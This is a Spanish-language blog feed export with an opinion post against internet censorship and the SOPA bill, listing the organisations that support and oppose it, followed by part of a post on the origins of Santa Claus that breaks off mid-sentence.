tag:blogger.com,1999:blog-30313853264986840862012-01-23T13:34:14.495-03:00|_ocutushttp://www.blogger.com/profile/02250837178980619341noreply@blogger.comBlogger451100tag:blogger.com,1999:blog-3031385326498684086.post-10896456397439123872012-01-17T22:58:00.014-03:002012-01-18T00:23:01.823-03:00<a href="http://2.bp.blogspot.com/-Ka98ouYnYW0/TxYv5wMWtnI/AAAAAAAAAa8/_G1myyuj6EM/s1600/sopa-blocked.jpg"></a><br /><a href="http://1.bp.blogspot.com/-CP7uOieU0ZQ/TxYtGvn6bQI/AAAAAAAAAZ0/ChHwFdACfrE/s1600/censorship-black%2Bimage.jpg"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5698791972370279682" src="http://1.bp.blogspot.com/-CP7uOieU0ZQ/TxYtGvn6bQI/AAAAAAAAAZ0/ChHwFdACfrE/s320/censorship-black%2Bimage.jpg" style="cursor: hand; cursor: pointer; float: left; height: 256px; margin: 0 10px 10px 0; width: 320px;" /></a><div><div style="text-align: justify;">la censura existe practicamente desde siempre, no hay registros prehistoricos (creo...), pero desde q un hombre, o mas bien un grupo, quiso controlar a otro de una manera mas sutil q la fuerza hizo de la censura una de sus armas preferidas. La teoria es q si alguien no tiene conocimiento de algo no se va a ver "tentado" por ello y seguira feliz con lo poco q conoce... pero...</div></div><div><div style="text-align: justify;"><br /></div></div><div><div style="text-align: justify;">quien tiene la autoridad para decir q es lo q se puede ver y lo q no? lo q es correcto o incorrecto, bueno o malo. la respuesta es muy facil, nadie mas q uno mismo. la unica forma de hacer una eleccion libre sobre algo es conocer todas las posibilidades y tomar una desicion en base a eso. x lo menos asi es como funciona para mi.</div></div><div><div style="text-align: justify;"><br /></div></div><div><div style="text-align: justify;">hace solo unas decadas era mas facil censurar, el mundo no estaba tan interconectado y bastaba con cuidar q entraba o se mostraba en un determinado pais o territorio. peliculas y libros q se prohibian, gente q no podia "entrar" o "hablar" y si molestaban mucho hasta desaparecian en algun momento oscuro de nuestra historia.</div></div><div><div style="text-align: justify;"><br /></div></div><div><div style="text-align: justify;">llevemoslo al dia de hoy, un resultado q se borra en un buscador, un link de descarga q se elimina... pequeñas censuras q separadas no se notan mucho pero q juntas forman un gran entramado de prohibicion. y x otro lado la "pirateria"... en realidad esta mal q el q no tiene $$ para comprar el libro q necesita para estudiar se baje un ebook gratis? solo puede tenerlo el q pueda pagar los 50 euros q vale? como se supone q haga un indigente de africa para leerlo?</div></div><div><div style="text-align: justify;"><br /></div></div><div><div style="text-align: justify;">esta bien pagar lo q vale un cd de musica cuando al autor le llega un porcentaje de risa y el costo del soporte fisico es casi nada? esta bien q la discografica gigantesca se llene de $$ con el trabajo de otro?</div></div><div><br /></div><div><br /></div><div><b><span style="color: yellow;">censura en internet</span></b></div><div><br /></div><div><div style="text-align: justify;">aunque la mayoria de los mortales no se den cuenta, la censura en internet existe hace unos cuantos años en mayor o menor medida. algunos lo hacen abiertamente desde tiempos remotos como china, donde ya en el 96 se dice q habia filtros y desde 2003 funciona el "Great Firewall of China" q es nada menos q un firewall a nivel nacional q analiza el trafico de todo el pais permitiendo o impidiendo las conexiones al exterior. blockeos x rangos de ip, filtros de url, dns arreglados... lo normal, tampoco algo q alguien con conocimientos medios no pueda saltarse. muchos usan VPNs para saltarlo pero obviamente la mayoria no tiene idea de como hacerlo ademas de q ya deben estar acostumbrados a su mini-internet con contenido de disney.</div></div><div><br /></div><a href="http://4.bp.blogspot.com/-HXBCUNGx0sE/TxYuJ_DY99I/AAAAAAAAAaM/gMfdr3LXLJQ/s1600/earth_403.jpg"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5698793127563294674" src="http://4.bp.blogspot.com/-HXBCUNGx0sE/TxYuJ_DY99I/AAAAAAAAAaM/gMfdr3LXLJQ/s320/earth_403.jpg" style="cursor: pointer; float: right; height: 320px; margin-bottom: 10px; margin-left: 10px; margin-right: 0px; margin-top: 0px; width: 320px;" /></a><div><div style="text-align: justify;">todo esto se regulo x medio de leyes q incluyen la prohibicion de publicar algo contra el gobierno (o el sistema socialista), la constitucion, organos del estado, leyes y montones de cosas mas. debido a esto se le dieron años de carcel a algunos x simples publicaciones en blogs en contra del sistema y otras atrocidades varias tipicas de un sistema represor amigo de la censura. a china se suman iran, turquia, corea y algunos mas en la censura fuerte pero muchos otros van de a poco x el mismo camino...</div></div><div><div style="text-align: justify;"><br /></div></div><div><div style="text-align: justify;">en australia tuvieron la idea x 2008 de solicitar a los ISPs q instalen sistemas de filtrado en nombre de blockear pornografia infantil y terrorismo pero... a poco de q el sistema estuvo funcionando empezaron a cerrar tambien paginas de satanismo, eutanasia y hasta un dentista de queensland q vaya a saber con quien se metio... je</div></div><div><div style="text-align: justify;"><br /></div></div><div><div style="text-align: justify;">en francia esta la famosa ley "hadopi" q desde 2009 controla las descargas y establece q el usuario puede recibir hasta 3 avisos antes de ir ante el juez q le puede poner una multa o simplemente cancelar su conexion a internet x bajar contenido con copyright. la empresa TMG controla las descargas a nivel nacional y pasa la info a la justicia. el año pasado sufrieron un hackeo q expuso datos de miles de usuarios de bittorrent monitoreados... y no todos estaban en territorio frances...</div></div><div><div style="text-align: justify;"><br /></div></div><div><div style="text-align: justify;">en india se creo el cert-in en 2003, no se sabe muy bien con q conceptos blockea ni da muchas explicaciones, pueden caer desde paginas de material obsceno hasta grupos nacionalistas o radicales. en 2003 x ejemplo se les blockeo el acceso a yahoo a miles de usuarios sin razon aparente. desde 2008, cuando los terroristas responsables del ataque a mumbay dijeron q usaron google earth para planearlo se blockeo el acceso para todo el pais.</div></div><div><div style="text-align: justify;"><br /></div></div><div><div style="text-align: justify;">en argentina tuvimos la caza de brujas con el p2p hace unos años, agarraron un par de pibes q bajaban mp3 y alguna abuelita... no creo q ninguna causa haya llegado a mucho ya q era un circo, pero los blockeos en los resultados de google siempre existen. en 2008 la jueza servini de cubria habia hecho q yahoo y google de argentina blockearan resultados con su nombre... q ignorante... x esa fecha o un poco despues al hacer una busqueda con la palabra "maradona" en yahoo devolvia el texto:</div></div><div><div style="text-align: justify;"><br /></div></div><div><div style="text-align: justify;">“Con motivo de una orden judicial solicitada por partes privadas, nos hemos visto obligados a suprimir temporalmente todos o algunos de los resultados relacionados con ésta búsqueda.”</div></div><div><div style="text-align: justify;"><br /></div></div><div><div style="text-align: justify;">y los q todavia no tienen blockeos estan en proceso con alguna ley, sinde, sopa, pipa, acta... todo lo mismo, basura censista.</div></div><div><br /></div><div><br /></div><div><b><span style="color: yellow;">la ley sopa</span></b></div><div><br /></div><div><i>“Aquel que sacrifica la libertad en pos de la seguridad no merece ninguna de las dos.”</i></div><div><i>- Benjamin Franklin </i></div><div><br /></div><a href="http://2.bp.blogspot.com/-38KZ6aU9VEY/TxYuj0ZeMhI/AAAAAAAAAaY/WblrkVEix0s/s1600/imtenet-censorship.jpg"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5698793571379720722" src="http://2.bp.blogspot.com/-38KZ6aU9VEY/TxYuj0ZeMhI/AAAAAAAAAaY/WblrkVEix0s/s320/imtenet-censorship.jpg" style="cursor: pointer; float: left; height: 234px; margin-bottom: 10px; margin-left: 0px; margin-right: 10px; margin-top: 0px; width: 320px;" /></a><div><div style="text-align: justify;">...y no lo dije yo, lo dijo el q tienen en el billete de 100. q verguenza una nacion q se llena la boca hablando de la libertad, igualdad, democracia y toda la propaganda con la q lavan el cerebro al planeta promueva la censura de contenidos.</div></div><div><div style="text-align: justify;"><br /></div></div><div><div style="text-align: justify;">en resumen el proyecto permite al dto de justicia de usa obtener ordenes judiciales contra las webs q acusen de infringir copyright... o facilitar el proceso... aun encontrandose fuera de su territorio. una vez conseguida la orden pueden instar a los ISP, redes de publicidad o comercio electronico a q no hagan negocios con ellos, ademas de ordenar a los motores de busqueda como google q los saquen de sus resultados</div></div><div><div style="text-align: justify;"><br /></div></div><div><div style="text-align: justify;">a 1era vista no parece tan terrible, digamos q una web aloja contenido con copyright o enlaces, sacando ademas un provecho economico. se cierra, es ilegal. pero pensemos en los sitios q alojan contenido de usuarios como puede ser youtube x ejemplo. cuantos links de youtube deberian cerrarse? xq no es solo la pelicula o el video con copyright, si x ejemplo se te ocurre hacer un video y ponerle de fondo musical un tema de rammstein tambien estas infringiendo los derechos de la discografica... soportaria eso youtube?... no creo q x mucho tiempo.</div></div><div><div style="text-align: justify;"><br /></div></div><div><div style="text-align: justify;">ni hablar de webs como cuevana, seriesyonkis u otros mas "serios" como vimeo o flickr. tambien olvidense de poner una url en el navegador y ver su pelicula o serie favorita. foros de warez, moviez y todas las Zs q se les ocurran cerrados de la mañana a la noche. y solo seria el principio...</div></div><div><div style="text-align: justify;"><br /></div></div><div><div style="text-align: justify;">ahhh... las penas van desde 5 años de sentencia x streaming de contenido cuya licencia valga mas de 2500usd, aun siendo usuario no-comercial. no queda muy claro si subiendolo o simplemente descargando...</div></div><div><br /></div><div><br /></div><div><span style="color: yellow;"><b>hasta donde?</b></span></div><div><br /></div><img alt="" border="0" id="BLOGGER_PHOTO_ID_5698794191632966242" src="http://3.bp.blogspot.com/-1Wc2UsmzI-M/TxYvH7BXomI/AAAAAAAAAak/tY7fnDzGs3E/s320/censorship.jpg" style="color: #0000ee; cursor: pointer; float: right; height: 320px; margin-bottom: 10px; margin-left: 10px; margin-right: 0px; margin-top: 0px; text-decoration: underline; width: 264px;" /><div><div style="text-align: justify;">si usa hace algo x lo gral la mayoria lo sigue asi q no se tranquilicen pensando q no les va a llegar. ademas todo lo "ilegal" hosteado alla tendria q moverse a tierras con menos control con los gastos q eso implica. seguramente muchos van a desaparecer en el proceso... de lo q pueden estar seguros es q si se aprueba va la ley a sentar un precedente importante para las demas naciones.</div></div><div><div style="text-align: justify;"><br /></div></div><div><div style="text-align: justify;">el problema principal esta en el blockeo (la censura) en si, para empezar, para ejercerlo habria q empezar a tener muchisimo mas control del trafico poniendo en riesgo la privacidad. los blockeos q van a imponer son los tipicos de DNS o rangos de IPs. los 1eros en realidad no son muy "sanos" ya q un dns "tocado" para blockear una url no tiene diferencia ante el cliente con uno al q se le hizo un poisoning, llegado el caso no se sabria si el cambio lo hizo el gobierno o un intruso con intenciones oscuras. bah... los 2 tienen "intenciones oscuras" en realidad.</div></div><div><div style="text-align: justify;"><br /></div></div><div><div style="text-align: justify;">ademas como paso en otros lugares seguramente empezaran con links ilegales y terminaran con algun otro "dentista distraido", pasando por blogs con contenido q no sea correctamente politico o q ofrezcan informacion peligrosa para el conocimiento de las masas (wikileaks les suena?). simplemente el control total de internet para poder cerrar lo q se les antoje. quien se va a fijar si x ejemplo cierran este blog? o miles como este? silenciando voces aca y alla de a poco.</div></div><div><br /></div><div><br /></div><div><span style="color: yellow;"><b>se puede saltar la censura?</b></span></div><div><br /></div><div><div style="text-align: justify;">si, se puede... todo se puede. obviamente las medidas no son un impedimento para un usuario con conocimientos medios de redes, pero el usuario comun no sabe como cambiar sus dns, cuales usar o llegado el caso como configurar un proxy o una vpn. los promotores de la ley lo saben bien y tambien saben muy bien q el 95% de la pirateria viene de ahi, lo q ellos llaman el "pirata casual".</div></div><div><div style="text-align: justify;"><br /></div></div><div><div style="text-align: justify;">lo q no tienen en cuenta es q se les puede facilitar el trabajo a los mortales con addons, scripts o pequeños softwares. un ejemplo es el add-on para firefox de mafiaafire q usa una serie de proxys al azar para saltarse las restricciones:</div></div><div><br /></div><div>https://addons.mozilla.org/en-US/firefox/addon/mafiaafire-piratebay-dancing/</div><div><br /></div><img alt="" border="0" id="BLOGGER_PHOTO_ID_5698794669825508642" src="http://2.bp.blogspot.com/-PLyYnDjX3xs/TxYvjwbWxSI/AAAAAAAAAaw/aObLb2mdBvo/s320/mafiaafire-070511.jpg" style="color: #0000ee; cursor: pointer; float: left; height: 214px; margin-bottom: 10px; margin-left: 0px; margin-right: 10px; margin-top: 0px; text-decoration: underline; width: 320px;" /><div><div style="text-align: justify;">este proyecto empezo cuando blockearon the pirate bay en italia, belgica, finlandia y algun otro pais. el año pasado el "Department of Homeland Security" pidio q firefox q lo saque de su web pero estos se negaron. habra q ver q pasa despues de la ley... el plugin no va a dejar de existir pero blockeado en la pagina de firefox va a ser mas dificil de encontrar, ademas de q seguramente se van a suprimir los resultados en los buscadores.</div></div><div><div style="text-align: justify;"><br /></div></div><div><div style="text-align: justify;">despues de 5 o 10 años la gente ya va a estar acostumbrada a los blockeos y ya no le va a parecer raro, las nuevas generaciones simplemente van a conocer esa internet y solo un porcentaje bastante pequeño va a poder acceder mas alla de los gigantescos firewalls nacionales. despues de todo hasta el principal diseñador del firewall chino, Fang Binxing, confiesa usar VPNs para saltarse las restricciones.</div></div><div><br /></div><div><br /></div><div><b><span style="color: yellow;">se puede parar la pirateria?</span></b></div><div><br /></div><div><div style="text-align: justify;">la pirateria siempre existio, desde la epoca en q se copiaba el soft en un cassette de cinta magnetica hasta la epoca del bluray e internet. ciertamente no va a dejar de existir xq unos senadores yankees crean q pueden censurar internet como si se tratara de una revista barata, lo q va a pasar es q no todos van a tener acceso a las cosas y seguramente se incremente la venta callejera ilegal y los packs q venden x correo.</div></div><div><div style="text-align: justify;"><br /></div></div><div><div style="text-align: justify;">hablandolo mi amigo elektro me decia... "sin ser pro-legalizacion, es como el tema de la droga, al hacerla ilegal solo pueden manejarla carteles, mafiosos y delincuentes. lo q no hace q la gente deje de consumirla sino q crea todo un gran negocio de corrupcion y muerte donde algunos se benefician."</div></div><div><div style="text-align: justify;"><br /></div></div><div><div style="text-align: justify;">si no se pueden ver peliculas en cuevana van a tener q comprarlas en el puestito de la esquina, pueden estar seguros de q el q las graba sabe como seguir bajandolas saltandose lo q sea... y tambien pueden estar seguros de q va a subir el precio.</div></div><div><div style="text-align: justify;"><br /></div></div><div><div style="text-align: justify;">pero los gigantes monopolicos q apoyan la ley creen q es la solucion y tratan de dar el ultimo manotazo de ahogado antes de q el nuevo mundo los desaparezca del mapa. la lista de organizaciones apoyando la SOPA es la siguiente:</div></div><div><br /></div><div><i> AFL-CIO</i></div><div><i> Motion Picture Association of America</i></div><div><i> Independent Film &amp; Television Alliance</i></div><div><i> National Association of Theatre Owners</i></div><div><i> Deluxe Entertainment Services Group Inc.,</i></div><div><i> National Music Publishers' Association</i></div><div><i> American Federation of Musicians</i></div><div><i> Directors Guild of America</i></div><div><i> International Brotherhood of Teamsters</i></div><div><i> Screen Actors Guild</i></div><div><i> National Cable &amp; Telecommunications Association</i></div><div><i> Recording Industry Association of America</i></div><div><i> Alliance for Safe Online Pharmacies</i></div><div><i> Comcast</i></div><div><i> NBC Universal</i></div><div><i> Pharmaceutical Research and Manufacturers of America</i></div><div><i> National Association of Manufacturers</i></div><div><i> Concerned Women for America</i></div><div><i> Viacom</i></div><div><i> National Criminal Justice Association</i></div><div><i> National District Attorneys Association</i></div><div><i> Council of State Governments</i></div><div><i> International Trademark Association</i></div><div><i> International Brotherhood of Electrical Workers</i></div><div><i> International Association of Fire Fighters</i></div><div><i> U. S. Chamber of Commerce</i></div><div><i> Americans for Tax Reform</i></div><div><i> Let Freedom Ring</i></div><div><i> Outdoor Industry Association</i></div><div><i> National Electrical Manufacturers Association</i></div><div><i> Ford Motor Company</i></div><div><i> Automotive Aftermarket Industry Association</i></div><div><i> Underwriters Laboratories Inc.</i></div><div><i> Society of Plastics Industry</i></div><div><i> Small Business and Entrepreneurship Council</i></div><div><i> Software &amp; Information Industry Association</i></div><div><i> Entertainment Software Association</i></div><div><i> American Association of Independent Music</i></div><div><i> Eli Lilly and Company</i></div><div><i> Merck</i></div><div><i> Specialty Equipment Market Association</i></div><div><i> Universal Music Group Inc.</i></div><div><i> Pfizer</i></div><div><i> Association of American Publishers</i></div><div><i> News Corporation</i></div><div><i> Xerox Corporation</i></div><div><i> Walmart</i></div><div><i> Dow Chemical</i></div><div><i> Alliance of Automobile Manufacturers</i></div><div><i> National Confectioners Association</i></div><div><i> Estee Lauder Companies</i></div><div><i> CBS Corporation</i></div><div><i> National Basketball Association</i></div><div><i> Greeting Card Association</i></div><div><i> Advanced Medical Technology Association</i></div><div><i> Beam Global Spirits &amp;Wine</i></div><div><i> Adidas America</i></div><div><i> Acushnet Company</i></div><div><i> ABRO Industries, Inc.</i></div><div><i> 1-800-PetMeds</i></div><div><i> 1-800 Contacts, Inc.</i></div><div><i> Blue Sky Studios, Inc.</i></div><div><i> Bose Corporation</i></div><div><i> Warner Music Group</i></div><div><i> Major League Baseball</i></div><div><i> Burberry</i></div><div><i> Electronic Components Industry Association</i></div><div><i> HarperCollins Publishers</i></div><div><i> Kekepana International Services</i></div><div><i> LVMH Moët Hennessy Louis Vuitton</i></div><div><i> Nike, Inc.</i></div><div><i> Taylor Made Golf Company, Inc.</i></div><div><i> Timberland Company</i></div><div><i> Time Warner</i></div><div><i> Sporting Goods Manufacturer's Association</i></div><div><i> 3M Company</i></div><div><i> National Retail Federation</i></div><div><i> Retail Industry Leaders Association</i></div><div><i> Viacom</i></div><div><i> Philip Morris International</i></div><div><i> National Association of Broadcasters</i></div><div><i> Disney</i></div><div><i> MacMillan</i></div><div><i> Center for Individual Freedom</i></div><div><i> National Governors Association</i></div><div><i> National Football League</i></div><div><i> International Union of Police Associations</i></div><div><i> Graphic Artists Guild</i></div><div><i> International AntiCounterfeiting Coalition</i></div><div><i> United States Tennis Association</i></div><div><i> Associated Builders and Contractors</i></div><div><i> Christian Music Trade Association</i></div><div><i> National Narcotics Officer's Associations' Coalition</i></div><div><i> Elsevier</i></div><div><i> Ultimate Fighting Championship</i></div><div><i> United States Conference of Mayors</i></div><div><i> Church Music Publishers Association</i></div><div><i> Major County Sheriffs Association</i></div><div><i> Visa</i></div><div><i> Copyright Alliance</i></div><div><i> American Federation of Television &amp; Radio Artists</i></div><div><i> International Alliance of Theatrical and Stage Employees</i></div><div><i> National Songwriters Association</i></div><div><i> Minor League Baseball</i></div><div><i> Coalition Against Online Video Piracy</i></div><div><i> Letter of Council</i></div><div><i> Capitol Records Nashville</i></div><div><i> Church Music Trade Association</i></div><div><i> American Society of Composers, Authors &amp; Publishers</i></div><div><i> Country Music Association</i></div><div><i> Country Music Television</i></div><div><i> EMI Christian Music Group</i></div><div><i> Lost Highway Records</i></div><div><i> Gospel Music Association</i></div><div><i> MCA Records</i></div><div><i> Mercury Nashville</i></div><div><i> Provident Music Group</i></div><div><i> Republic Nashville</i></div><div><i> Showdog Universal</i></div><div><i> UMG Publishing Group</i></div><div><i> Warner Music Nashville</i></div><div><i> Word Entertainment</i></div><div><i> BMG Chrysalis</i></div><div><i> BMI</i></div><div><i> Cengage Learning</i></div><div><i> EMI Music Publishing</i></div><div><i> L'Oreal</i></div><div><i> Hachette Book Group</i></div><div><i> Publishers Worldwide, Inc.</i></div><div><i> Hyperion</i></div><div><i> McGraw-Hill Education</i></div><div><i> MPA - The Association of Magazine Media</i></div><div><i> Pearson Education</i></div><div><i> Penguin Group</i></div><div><i> Perseus Books Group</i></div><div><i> Random House</i></div><div><i> Scholastic, Inc.</i></div><div><i> W.W. Norton Company</i></div><div><i> Wolers Kluwer Health</i></div><div><i> True Religion Brand Jeans</i></div><div><i> National Sheriff's Association</i></div><div><i> COTY, Inc.</i></div><div><i> Major City Chiefs</i></div><div><i> National Troopers Coalition</i></div><div><i> National Center for Victims of Crime</i></div><div><i> National Domestic Preparedness Coalition</i></div><div><i> Association of State Criminal Investigative Agencies</i></div><div><i> National Association of Fusion Center Directors</i></div><div><i> National Association of Prosecutor Coordinators</i></div><div><i> National Association of State Chief Information Officers</i></div><div><i> Association of Talent Agents</i></div><div><i> Council of the Better Business Bureau</i></div><div><i> State International Development Organizations</i></div><div><i> Beachbody LLC</i></div><div><i> Tiffany &amp; Company</i></div><div><br /></div><div>la lista en contra:</div><div><br /></div><div><i> Creators’ Freedom Project</i></div><div><i> Engine Advocacy</i></div><div><i> 4chan</i></div><div><i> Boing Boing</i></div><div><i> Creative Commons</i></div><div><i> Daily Kos</i></div><div><i> Disqus</i></div><div><i> Grooveshark</i></div><div><i> Hype Machine</i></div><div><i> Kickstarter</i></div><div><i> MetaFilter</i></div><div><i> O'Reilly Radar</i></div><div><i> Techdirt</i></div><div><i> Torrentfreak</i></div><div><i> Go Daddy</i></div><div><i> NetCoalition</i></div><div><i> Consumer Electronics Association</i></div><div><i> Computer and Communications Industry Association</i></div><div><i> Public Knowledge</i></div><div><i> Electronic Frontier Foundation</i></div><div><i> EDUCAUSE</i></div><div><i> Open Internet Coalition</i></div><div><i> Bloomberg</i></div><div><i> Google</i></div><div><i> Yahoo</i></div><div><i> Center for Democracy &amp; Technology</i></div><div><i> Business Software Alliance</i></div><div><i> Twitter</i></div><div><i> Zynga</i></div><div><i> Facebook</i></div><div><i> AOL</i></div><div><i> Marc Andreessen, co-founder of Netscape and Andreessen Horowitz</i></div><div><i> Sergey Brin, co-founder of Google</i></div><div><i> Jack Dorsey, co-founder of Twitter and Square</i></div><div><i> Caterina Fake, co-founder of Flickr and Hunch</i></div><div><i> David Filo, co-founder of Yahoo!</i></div><div><i> Reid Hoffman, co-founder of LinkedIn</i></div><div><i> Arianna Huffington, co-founder of The Huffington Post</i></div><div><i> Chad Hurley, co-founder of YouTube</i></div><div><i> Brewster Kahle, founder of the Internet Archive and co-founder of Alexa Internet</i></div><div><i> Elon Musk, co-founder of PayPal</i></div><div><i> Craig Newmark, founder of craigslist</i></div><div><i> Pierre Omidyar, founder of eBay</i></div><div><i> Biz Stone, co-founder of Obvious and Twitter</i></div><div><i> Jimmy Wales, founder of Wikipedia and the Wikimedia Foundation</i></div><div><i> Evan Williams, co-founder of Blogger and Twitter</i></div><div><i> Jerry Yang, co-founder of Yahoo!</i></div><div><i> Progressive Change Campaign Committee</i></div><div><i> Tumblr</i></div><div><i> Mozilla</i></div><div><i> Union Square Ventures</i></div><div><i> MoveOn</i></div><div><i> Wikimedia Foundation</i></div><div><i> eBay</i></div><div><i> Reddit</i></div><div><i> American Civil Liberties Union</i></div><div><i> Consumers Union</i></div><div><i> American Library Association</i></div><div><i> Computer &amp; Communications Industry Association</i></div><div><i> Human Rights First</i></div><div><i> Consumer Federation of America</i></div><div><i> Human Rights Watch</i></div><div><i> Microsoft</i></div><div><i> United States Student Association</i></div><div><i> Irregular Times</i></div><div><i> TechNet</i></div><div><i> Information Technology Industry Council</i></div><div><i> Association of Research Libraries</i></div><div><i> Entertainment Consumers Assocation</i></div><div><i> Writers Guild of America, West</i></div><div><i> Reporters Without Borders</i></div><div><i> Freedom House</i></div><div><i> Association of College and Research Libraries</i></div><div><i> Competitive Enterprise Institute</i></div><div><i> TechAmerica</i></div><div><i> TechFreedom</i></div><div><i> Demand Progress</i></div><div><i> U.S. Public Interest Group</i></div><div><i> Internews</i></div><div><i> New America Foundation’s Open Technology Initiative</i></div><div><i> Center for Media Justice</i></div><div><i> Center for Rural Strategies</i></div><div><i> Brookings Institute</i></div><div><i> American Society of News Editors</i></div><div><i> Benetech</i></div><div><i> Rackspace</i></div><div><i> OpenDNS</i></div><div><i> Stack Overflow</i></div><div><br /></div><div><div style="text-align: justify;">no hace falta hacer mucha comparacion, las listas hablan x si solas. el 23 se espera el "blackout day" tambien llamada la "opcion nuclear" en la q las grandes webs amenazan con bajar sus servers todo el dia en protesta de la ley q se vota el 24. a medida q pasan las horas mas portales se van sumando, algunas de los mas importantes son:</div></div><div><br /></div><div><i> Google</i></div><div><i> Yahoo!</i></div><div><i> Facebook</i></div><div><i> Foursquare</i></div><div><i> Twitter</i></div><div><i> Wikipedia</i></div><div><i> Amazon</i></div><div><i> Mozilla</i></div><div><i> AOL</i></div><div><i> eBay</i></div><div><i> PayPal</i></div><div><i> IAC</i></div><div><i> LinkedIn</i></div><div><i> OpenDNS</i></div><div><i> Zynga</i></div><div><br /></div><img alt="" border="0" id="BLOGGER_PHOTO_ID_5698795047719712370" src="http://2.bp.blogspot.com/-Ka98ouYnYW0/TxYv5wMWtnI/AAAAAAAAAa8/_G1myyuj6EM/s320/sopa-blocked.jpg" style="color: #0000ee; cursor: pointer; float: right; height: 246px; margin-bottom: 10px; margin-left: 10px; margin-right: 0px; margin-top: 0px; text-decoration: underline; width: 320px;" /><div><div style="text-align: justify;">como sera un dia sin google, paypal, ebay, sin las adictivas redes sociales, sin la wikipedia?... como sera el futuro de internet? la informacion seguira siendo libre o solo para "unos pocos"? hoy mismo tendremos una pequeña aproximacion de lo q va a pasar ya q unas cuantas webs cierran a modo de protesta, entre ellas la version en ingles de wikipedia.</div></div><div><div style="text-align: justify;"><br /></div></div><div><div style="text-align: justify;">los q no tienen idea mejor apurense a aprender algo de redes antes de q no se puedan bajar ni un tutorial para abrir puertos en el router x ser material q "instiga a la pirateria".</div></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3031385326498684086-1089645639743912387?l=locvtvs.blogspot.com' alt='' /></div>|_ocutushttp://www.blogger.com/profile/02250837178980619341noreply@blogger.com4tag:blogger.com,1999:blog-3031385326498684086.post-12188747076606509282011-11-24T17:23:00.008-03:002011-11-24T18:05:13.455-03:00<a href="http://2.bp.blogspot.com/--5S3cS_Tdl4/Ts6vRuU7BmI/AAAAAAAAAZo/YZMtNZ7Lgz8/s1600/cokelore_santa_toys_cutout.jpg"></a><br /><a href="http://4.bp.blogspot.com/-dZltQ9QHvsc/Ts6orpulcgI/AAAAAAAAAY4/-D-3hjNGhiY/s1600/tuxsantaclaus.jpg"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5678661648049861122" src="http://4.bp.blogspot.com/-dZltQ9QHvsc/Ts6orpulcgI/AAAAAAAAAY4/-D-3hjNGhiY/s320/tuxsantaclaus.jpg" style="cursor: hand; cursor: pointer; float: right; height: 235px; margin: 0 0 10px 10px; width: 320px;" /></a><div style="text-align: justify;">llega otra navidad y los comerciantes se preparan a vender millones mientras los mas chicos esperan la llegada de "papa noel". cada año q pasa parece tener mas protagonismo en la navidad a pesar de ofrecernos una imagen q absolutamente nada tiene q ver con nuestras tierras, un diciembre con mas de 30 grados, una ciudad casi sin chimeneas y por supuesto su ridicula gorda figura montada en un trineo tirado por renos(?).</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">alguien se puso a analizar q tiene q ver este personaje con el "nacimiento de cristo"? por suerte, siendo ateo tengo menos tabues y mas incredulidad y tal vez x eso me lo pregunto. bueno, santa claus, san nicolas, algun santo debe ser y algo tendra q ver aunque sea a lo lejos pero... parece q la festividad de san nicolas la suprimio el papa Paulo IV en 1969 junto con la de unos cuantos mas por no haber pruebas de su existencia y x lo tanto fueron considerados "personajes legendarios". en resumen hay muchas historias pero nada q demuestre q haya existido jamas.</div><div><br /></div><div><br /></div><div><b><u><span class="Apple-style-span" style="color: yellow; font-size: large;">San Nicolas, Santa Claus o Papa Noel?</span></u></b></div><div><br /></div><img alt="" border="0" id="BLOGGER_PHOTO_ID_5678662093060750466" src="http://3.bp.blogspot.com/-brE8ercFQow/Ts6pFjhcvII/AAAAAAAAAZE/2NED29DX-AM/s320/stNicholasOfMyra.jpg" style="color: #0000ee; cursor: pointer; float: left; height: 320px; margin-bottom: 10px; margin-left: 0px; margin-right: 10px; margin-top: 0px; text-decoration: underline; width: 244px;" /><div style="text-align: justify;">se dice q Nicolas de Mira (san Nicolas) murio en el año 342, se le adjudicaban poderes de dar regalos secretamente, como poner monedas en los q dejaban los zapatos fuera por el. su popularidad fue extendiendose por toda europa y por supuesto adoptando diferentes nombres segun el idioma del original Nikolaos se paso a Nicolas, Nicholas para los ingleses, Sankt Nikolaus para los alemanes, y en holanda le agregaron el "Herr" quedando Sanct Herr Nicholaas desde donde se abrevio a Sinterklaas.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">al parecer los inmigrantes holandeses llevaron el nombre a usa en el sXVII donde paso de Sinter Klaas a Santa Claus... parece retorcido pero recien estamos empezando... je</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">de donde sale "papa noel" entonces? parece q a mediados del sXIX el renovado san nicolas vuelve a inglaterra con el nombre de santa claus, de ahi pasa a francia donde se mezcla con "Bonhomme Noël" q es la personificacion de la navidad en esas tierras. Bonhomme q podria ser traducido literalmente como "buen hombre" es el titulo q se le daba antiguamente a alguien del pueblo comun, algo asi como "señor". pero hay q ver la diferencia entre "bonhomme" y "monsieur", este ultimo era usado para los señores de la nobleza. noel por supuesto se traduce como navidad, lo q nos dejaria algo parecido a "el buen hombre de la navidad"</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">al no existir la diferencia ni el doble sentido de la palabra en castellano, no tenia mucho sentido ponerle "señor navidad" o "señor noel", entonces para resumir el "buen hombre" el "señor" y todo eso a alguien se le ocurrio nombrarlo "papa" tratando de resumir el sentido de la traduccion en una palabra... y bue... peores traducciones meten en los titulos de las pelis... je</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">x supuesto q a nosotros no nos llega nada absolutamente de la historia de san nicolas, aceptamos a papa noel solamente xq sale en las peliculas yankees y en la botella de coca-cola de diciembre. lo triste es q no termina ahi, hace unos años adoptamos la fiesta de san patricio (increible...) y halloween viene pegando fuerte. obvio q tampoco son inventos yankees sino tambien productos de marketing como el viejo san nicolas.</div><div><br /></div><div><br /></div><div><b><u><span class="Apple-style-span" style="color: yellow; font-size: large;">La metamorfosis</span></u></b></div><div><br /></div><img alt="" border="0" id="BLOGGER_PHOTO_ID_5678666576040490098" src="http://4.bp.blogspot.com/-TD_ICCt5oqI/Ts6tKf7G9HI/AAAAAAAAAZQ/AjmkWAyf9F8/s320/jultomten.jpg" style="color: #0000ee; cursor: pointer; float: right; height: 312px; margin-bottom: 10px; margin-left: 10px; margin-right: 0px; margin-top: 0px; text-decoration: underline; width: 200px;" /><div style="text-align: justify;">las primeras representaciones ya en america lo mostraban mas como un duende q el gordo risueño q vemos 